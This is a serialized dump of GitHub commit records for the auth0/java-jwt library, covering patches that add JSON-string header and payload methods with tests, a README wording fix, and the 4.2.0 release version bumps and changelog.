         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
                 .build(mockNow)u}(ji  (9b6ac0c06f21d8ca1b4ad11b07096d0c414747faj  Alib/src/test/java/com/auth0/jwt/algorithms/HMACAlgorithmTest.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithmTest.java?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  XD  @@ -13,7 +13,6 @@
 import java.nio.charset.StandardCharsets;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
-import java.util.Arrays;
 
 import static com.auth0.jwt.algorithms.CryptoTestHelper.asJWT;
 import static com.auth0.jwt.algorithms.CryptoTestHelper.assertSignaturePresent;u}(ji  (8d5f112ca0a3f1fd045fb640722a24a9d65adfb3j  settings.gradlej  modifiedj  Kj  Kj  Kj  _https://github.com/auth0/java-jwt/blob/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/settings.gradlej  ^https://github.com/auth0/java-jwt/raw/6a8ef68271f1c7eb32ee3fbf88538a183996fee5/settings.gradlej  qhttps://api.github.com/repos/auth0/java-jwt/contents/settings.gradle?ref=6a8ef68271f1c7eb32ee3fbf88538a183996fee5j  @@ -8,4 +8,4 @@ pluginManagement {
 }
 
 include ':java-jwt'
-project(':java-jwt').projectDir = new File(rootProject.projectDir, '/lib')
\ No newline at end of file
+project(':java-jwt').projectDir = new File(rootProject.projectDir, '/lib')ueu(78a10b3fb3c2cd9ec831f54c75810c22282ed052}(sha(78a10b3fb3c2cd9ec831f54c75810c22282ed052node_idEC_kwDOAQtL0doAKDc4YTEwYjNmYjNjMmNkOWVjODMxZjU0Yzc1ODEwYzIyMjgyZWQwNTIcommit}(author}(name
Andreas Rigasemailandreas.rigas@outlook.comdate2022-11-26T16:05:43Zu	committer}(j\  
Andreas Rigasj^  andreas.rigas@outlook.comj`  2022-11-26T16:05:43Zumessage:Add support for passing json values for header and payloadtree}(jT  (a84658a88a6928e01a6a8eaa9ff8fecea5f2acbburl^https://api.github.com/repos/auth0/java-jwt/git/trees/a84658a88a6928e01a6a8eaa9ff8fecea5f2acbbujl  `https://api.github.com/repos/auth0/java-jwt/git/commits/78a10b3fb3c2cd9ec831f54c75810c22282ed052
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujl  \https://api.github.com/repos/auth0/java-jwt/commits/78a10b3fb3c2cd9ec831f54c75810c22282ed052html_urlQhttps://github.com/auth0/java-jwt/commit/78a10b3fb3c2cd9ec831f54c75810c22282ed052comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/78a10b3fb3c2cd9ec831f54c75810c22282ed052/commentsjZ  }(loginandrewrigasidJjV  MDQ6VXNlcjQ4Mjk2NDcx
avatar_url4https://avatars.githubusercontent.com/u/48296471?v=4gravatar_idh3jl  (https://api.github.com/users/andrewrigasjx  https://github.com/andrewrigas
followers_url2https://api.github.com/users/andrewrigas/followers
following_url?https://api.github.com/users/andrewrigas/following{/other_user}	gists_url8https://api.github.com/users/andrewrigas/gists{/gist_id}starred_url?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}subscriptions_url6https://api.github.com/users/andrewrigas/subscriptionsorganizations_url-https://api.github.com/users/andrewrigas/orgs	repos_url.https://api.github.com/users/andrewrigas/repos
events_url9https://api.github.com/users/andrewrigas/events{/privacy}received_events_url8https://api.github.com/users/andrewrigas/received_eventstypeUser
site_adminujb  }(j}  andrewrigasj  JjV  MDQ6VXNlcjQ4Mjk2NDcxj  4https://avatars.githubusercontent.com/u/48296471?v=4j  h3jl  (https://api.github.com/users/andrewrigasjx  https://github.com/andrewrigasj  2https://api.github.com/users/andrewrigas/followersj  ?https://api.github.com/users/andrewrigas/following{/other_user}j  8https://api.github.com/users/andrewrigas/gists{/gist_id}j  ?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}j  6https://api.github.com/users/andrewrigas/subscriptionsj  -https://api.github.com/users/andrewrigas/orgsj  .https://api.github.com/users/andrewrigas/reposj  9https://api.github.com/users/andrewrigas/events{/privacy}j  8https://api.github.com/users/andrewrigas/received_eventsj  Userj  uparents]}(jT  (931cd1243c4653744c0f1cc59f182566139cd2c5jl  \https://api.github.com/repos/auth0/java-jwt/commits/931cd1243c4653744c0f1cc59f182566139cd2c5jx  Qhttps://github.com/auth0/java-jwt/commit/931cd1243c4653744c0f1cc59f182566139cd2c5uastats}(totalKf	additionsK^	deletionsKufiles](}(jT  (8f87ad42be6b7c568b9b28866520fc7e1f5d9ccbfilename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj  K(j  K changesK(blob_urlhttps://github.com/auth0/java-jwt/blob/78a10b3fb3c2cd9ec831f54c75810c22282ed052/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/78a10b3fb3c2cd9ec831f54c75810c22282ed052/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=78a10b3fb3c2cd9ec831f54c75810c22282ed052patchX  @@ -95,6 +95,23 @@ public Builder withHeader(Map<String, Object> headerClaims) {
             return this;
         }
 
+        /**
+         * Add specific Claims to set as the Header.
+         * If provided json is null then nothing is changed
+         *
+         * @param headerClaimsJson the values to use as Claims in the token's Header.
+         * @return this same Builder instance.
+         */
+        public Builder withHeader(String headerClaimsJson) throws JsonProcessingException {
+            if (headerClaimsJson == null) {
+                return this;
+            }
+
+            Map<String,Object> headerClaims = mapper.readValue(headerClaimsJson, HashMap.class);
+
+            return withHeader(headerClaims);
+        }
+
         /**
          * Add a specific Key Id ("kid") claim to the Header.
          * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider,
@@ -464,6 +481,29 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
             return this;
         }
 
+        /**
+         * Add specific Claims to set as the Payload. If the provided json is null then
+         * nothing is changed.
+         *
+         * <p>
+         * If any of the claims are invalid, none will be added.
+         * </p>
+         *
+         * @param payloadClaimsJson the values to use as Claims in the token's payload.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if any of the claim keys or null,
+         *                                  or if the values are not of a supported type.
+         */
+        public Builder withPayload(String payloadClaimsJson) throws IllegalArgumentException, JsonProcessingException {
+            if (payloadClaimsJson == null) {
+                return this;
+            }
+
+            Map<String,Object> payloadClaims =  mapper.readValue(payloadClaimsJson, HashMap.class);
+
+            return withPayload(payloadClaims);
+        }
+
         private boolean validatePayload(Map<String, ?> payload) {
             for (Map.Entry<String, ?> entry : payload.entrySet()) {
                 String key = entry.getKey();u}(jT  (70e1be31cb6b7d134b0f1cf93b5f17a583c97a5cj  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  K6j  Kj  K>j  https://github.com/auth0/java-jwt/blob/78a10b3fb3c2cd9ec831f54c75810c22282ed052/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/78a10b3fb3c2cd9ec831f54c75810c22282ed052/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=78a10b3fb3c2cd9ec831f54c75810c22282ed052j  Xl  @@ -3,6 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
+import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.ObjectMapper;
 import org.junit.Rule;
 import org.junit.Test;
@@ -16,9 +17,7 @@
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
-import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
@@ -83,16 +82,39 @@ public void shouldAddHeaderClaim() {
     }
 
     @Test
-    public void shouldReturnBuilderIfNullMapIsProvided() {
+    public void shouldReturnBuilderIfNullMapIsProvided() throws JsonProcessingException {
+        Map<String, Object> nullMap = null;
+        String nullString = null;
         String signed = JWTCreator.init()
-                .withHeader(null)
+                .withHeader(nullMap)
+                .withHeader(nullString)
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(signed, is(notNullValue()));
     }
 
     @Test
-    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
+    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() throws JsonProcessingException {
+        String stringClaim = "someClaim";
+        Integer intClaim = 1;
+        List<String> nestedListClaims = Arrays.asList("1", "2");
+        String claimsJson = "{\"stringClaim\": \"someClaim\", \"intClaim\": 1, \"nestedClaim\": { \"listClaim\": [ \"1\", \"2\" ]}}";
+
+        String jwt = JWTCreator.init()
+                .withHeader(claimsJson)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
+
+        assertThat(headerJson, JsonMatcher.hasEntry("stringClaim", stringClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("intClaim", intClaim));
+        assertThat(headerJson, JsonMatcher.hasEntry("listClaim", nestedListClaims));
+    }
+
+    @Test
+    public void shouldSupportJsonValueHeaderWithNestedDataStructure() {
         Map<String, Object> header = new HashMap<>();
         header.put(HeaderParams.KEY_ID, "xyz");
 
@@ -107,6 +129,7 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         assertThat(headerJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "xyz"));
     }
 
+
     @Test
     public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
         Map<String, Object> header = new HashMap<>();
@@ -716,9 +739,12 @@ public void withPayloadShouldAddBasicClaim() {
     }
 
     @Test
-    public void withPayloadShouldCreateJwtWithEmptyBodyIfPayloadNull() {
+    public void withPayloadShouldCreateJwtWithEmptyBodyIfPayloadNull() throws JsonProcessingException {
+        Map<String, Object> nullMap = null;
+        String nullString = null;
         String jwt = JWTCreator.init()
-                .withPayload(null)
+                .withPayload(nullMap)
+                .withPayload(nullString)
                 .sign(Algorithm.HMAC256("secret"));
 
         assertThat(jwt, is(notNullValue()));
@@ -923,10 +949,30 @@ public void withPayloadShouldSupportNullValuesEverywhere() {
         assertThat(headerJson, JsonMatcher.hasEntry("objClaim", objClaim));
     }
 
+    @Test
+    public void withPayloadShouldSupportJsonValueWithNestedDataStructure() throws JsonProcessingException {
+        String stringClaim = "someClaim";
+        Integer intClaim = 1;
+        List<String> nestedListClaims = Arrays.asList("1", "2");
+        String claimsJson = "{\"stringClaim\": \"someClaim\", \"intClaim\": 1, \"nestedClaim\": { \"listClaim\": [ \"1\", \"2\" ]}}";
+
+        String jwt = JWTCreator.init()
+                .withPayload(claimsJson)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        String payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
+
+        assertThat(payloadJson, JsonMatcher.hasEntry("stringClaim", stringClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("intClaim", intClaim));
+        assertThat(payloadJson, JsonMatcher.hasEntry("listClaim", nestedListClaims));
+    }
+
     @Test
     public void shouldCreatePayloadWithNullForMap() {
         String jwt = JWTCreator.init()
-                .withClaim("name", (Map<String,?>) null)
+                .withClaim("name", (Map<String, ?>) null)
                 .sign(Algorithm.HMAC256("secret"));
         assertThat(jwt, is(notNullValue()));
         assertTrue(JWT.decode(jwt).getClaim("name").isNull());ueu(d524167f88c6d6fcddec6f37d4aba508bcd0c035}(sha(d524167f88c6d6fcddec6f37d4aba508bcd0c035node_idEC_kwDOAQtL0doAKGQ1MjQxNjdmODhjNmQ2ZmNkZGVjNmYzN2Q0YWJhNTA4YmNkMGMwMzUcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-17T14:00:12Zu	committer}(j  Jim Andersonj  jimranderson@gmail.comj  2022-10-17T14:00:12ZumessageFix auth0-java references.tree}(j  (e14b81d7fbbf7708e6be2c825450becf59f1e042url^https://api.github.com/repos/auth0/java-jwt/git/trees/e14b81d7fbbf7708e6be2c825450becf59f1e042uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/d524167f88c6d6fcddec6f37d4aba508bcd0c035
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/d524167f88c6d6fcddec6f37d4aba508bcd0c035html_urlQhttps://github.com/auth0/java-jwt/commit/d524167f88c6d6fcddec6f37d4aba508bcd0c035comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/d524167f88c6d6fcddec6f37d4aba508bcd0c035/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  
jimmyjamesj  J7 j  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j   h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j	  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj
  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(j  (e6740d90b50bcf46e8ff70d5823b0386450f06c0j  \https://api.github.com/repos/auth0/java-jwt/commits/e6740d90b50bcf46e8ff70d5823b0386450f06c0j  Qhttps://github.com/auth0/java-jwt/commit/e6740d90b50bcf46e8ff70d5823b0386450f06c0uastats}(totalK	additionsK	deletionsKufiles]}(j  (9c36680a58f6647c62ec519ddf5b150e297c8d02filename	README.mdstatusmodifiedj1  Kj2  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/d524167f88c6d6fcddec6f37d4aba508bcd0c035/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/d524167f88c6d6fcddec6f37d4aba508bcd0c035/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=d524167f88c6d6fcddec6f37d4aba508bcd0c035patchX  @@ -11,7 +11,7 @@ A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.or
 :books: [Documentation](#documentation) - :rocket: [Getting Started](#getting-started) - :computer: [API Reference](#api-reference) :speech_balloon: [Feedback](#feedback)
 
 ## Documentation
-- [Examples](./EXAMPLES.md) - code samples for common auth0-java scenarios.
+- [Examples](./EXAMPLES.md) - code samples for common java-jwt scenarios.
 - [Docs site](https://www.auth0.com/docs) - explore our docs site and learn more about Auth0.
 
 ## Getting Started
@@ -20,7 +20,7 @@ A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.or
 
 This library is supported for Java LTS versions 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
 
-> `auth0-java` is intended for server-side JVM applications. Android applications should use the [Auth0.Android SDK](https://github.com/auth0/auth0.android).
+> `java-jwt` is intended for server-side JVM applications. Android applications should use [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android).
 
 `java-jwt` supports the following algorithms for both signing and verification:
 uau(3526fcc80ec15038de1a13a2c84d55d2453c835a}(sha(3526fcc80ec15038de1a13a2c84d55d2453c835anode_idEC_kwDOAQtL0doAKDM1MjZmY2M4MGVjMTUwMzhkZTFhMTNhMmM4NGQ1NWQyNDUzYzgzNWEcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-20T02:53:07Zu	committer}(jN  GitHubjP  noreply@github.comjR  2022-10-20T02:53:07ZumessageRelease 4.2.0 (#626)tree}(jF  (9c2c0b79a23b9643994930ca7ee162afac920343url^https://api.github.com/repos/auth0/java-jwt/git/trees/9c2c0b79a23b9643994930ca7ee162afac920343uj^  `https://api.github.com/repos/auth0/java-jwt/git/commits/3526fcc80ec15038de1a13a2c84d55d2453c835a
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjULgTCRBK7hj4Ov3rIwAA9VUIAEYNucOI8SWcR6WJPPMno//l
x70WRFMayNDsL5QxXoDptPNY71/C1ttJcAa5G2gkwfMxu4Frgwx+TnUvHavbPAhq
90CAQRJG56upyumjCNjLRhMcbsIWjAVkcxdvTuw6uLpKhPgmLE+fvjY2eqXuTz7p
Yzzjuy5ZwoHmNBYfBZDtVDsbDqpE0a6uleLW40A+ZHXwpID8UxcPaVel97xXzoy3
oGWuRCjnPJ3OLk3B+tH+tr708IACN3PXOGHPl5dHWWQl13ru0zzkbpbriHJOosy5
ZiixCUNb2pemjX4qdp8MHAiIpEq6wjEs9H3CTB3OGbyGCVbleJoiGbWy2HPmfgA=
=9lj8
-----END PGP SIGNATURE-----
payloadtree 9c2c0b79a23b9643994930ca7ee162afac920343
parent 49c5def67ab2d37aa98f210bec2ca5ea39889d8c
author Jim Anderson <jim.anderson@auth0.com> 1666234387 -0500
committer GitHub <noreply@github.com> 1666234387 -0500

Release 4.2.0 (#626)

uuj^  \https://api.github.com/repos/auth0/java-jwt/commits/3526fcc80ec15038de1a13a2c84d55d2453c835ahtml_urlQhttps://github.com/auth0/java-jwt/commit/3526fcc80ec15038de1a13a2c84d55d2453c835acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3526fcc80ec15038de1a13a2c84d55d2453c835a/commentsjL  }(login
jimmyjamesidJ7 jH  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j^  'https://api.github.com/users/jimmyjamesjl  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujT  }(jq  web-flowjs  J/jH  MDQ6VXNlcjE5ODY0NDQ3ju  4https://avatars.githubusercontent.com/u/19864447?v=4jw  h3j^  %https://api.github.com/users/web-flowjl  https://github.com/web-flowjz  /https://api.github.com/users/web-flow/followersj|  <https://api.github.com/users/web-flow/following{/other_user}j~  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(jF  (49c5def67ab2d37aa98f210bec2ca5ea39889d8cj^  \https://api.github.com/repos/auth0/java-jwt/commits/49c5def67ab2d37aa98f210bec2ca5ea39889d8cjl  Qhttps://github.com/auth0/java-jwt/commit/49c5def67ab2d37aa98f210bec2ca5ea39889d8cuastats}(totalK	additionsK	deletionsKufiles](}(jF  (c6c2d511a9e2bec805444dd5e1a075842de77085filenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/3526fcc80ec15038de1a13a2c84d55d2453c835a/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/3526fcc80ec15038de1a13a2c84d55d2453c835a/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=3526fcc80ec15038de1a13a2c84d55d2453c835apatchX   @@ -1,5 +1,17 @@
 # Change Log
 
+## [4.2.0](https://github.com/auth0/java-jwt/tree/4.2.0) (2022-10-19)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.1.0...4.2.0)
+
+**Changed**
+- Re-enable japicmp API diff checking [\#619](https://github.com/auth0/java-jwt/pull/619) ([jimmyjames](https://github.com/jimmyjames))
+- Update .shiprc to only update lib version in build.gradle [\#625](https://github.com/auth0/java-jwt/pull/625) ([jimmyjames](https://github.com/jimmyjames))
+- Optimise TokenUtils parsing [\#611](https://github.com/auth0/java-jwt/pull/611) ([noetro](https://github.com/noetro))
+- Update Circle Ship Orb configuration [\#616](https://github.com/auth0/java-jwt/pull/616) ([frederikprijck](https://github.com/frederikprijck))
+
+**Fixed**
+- Update Claim#asString documentation [\#615](https://github.com/auth0/java-jwt/pull/615) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [4.1.0](https://github.com/auth0/java-jwt/tree/4.1.0) (2022-10-06)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0...4.1.0)
 u}(jF  (89b67ad8ab738263dfe5031dacbdf28b7e8a7e41j  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/3526fcc80ec15038de1a13a2c84d55d2453c835a/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/3526fcc80ec15038de1a13a2c84d55d2453c835a/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=3526fcc80ec15038de1a13a2c84d55d2453c835aj  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.1.0'
+implementation 'com.auth0:java-jwt:4.2.0'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.1.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.1.0</version>
+    <version>4.2.0</version>
 </dependency>
 ```
 u}(jF  (05807472c1d91c52873c0efd3d801993f458b85fj  lib/build.gradlej  modifiedj  Kj  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/3526fcc80ec15038de1a13a2c84d55d2453c835a/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/3526fcc80ec15038de1a13a2c84d55d2453c835a/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=3526fcc80ec15038de1a13a2c84d55d2453c835aj  \@@ -1,5 +1,5 @@
 buildscript {
-    version = "4.1.0"
+    version = "4.2.0"
 }
 
 plugins {ueuu.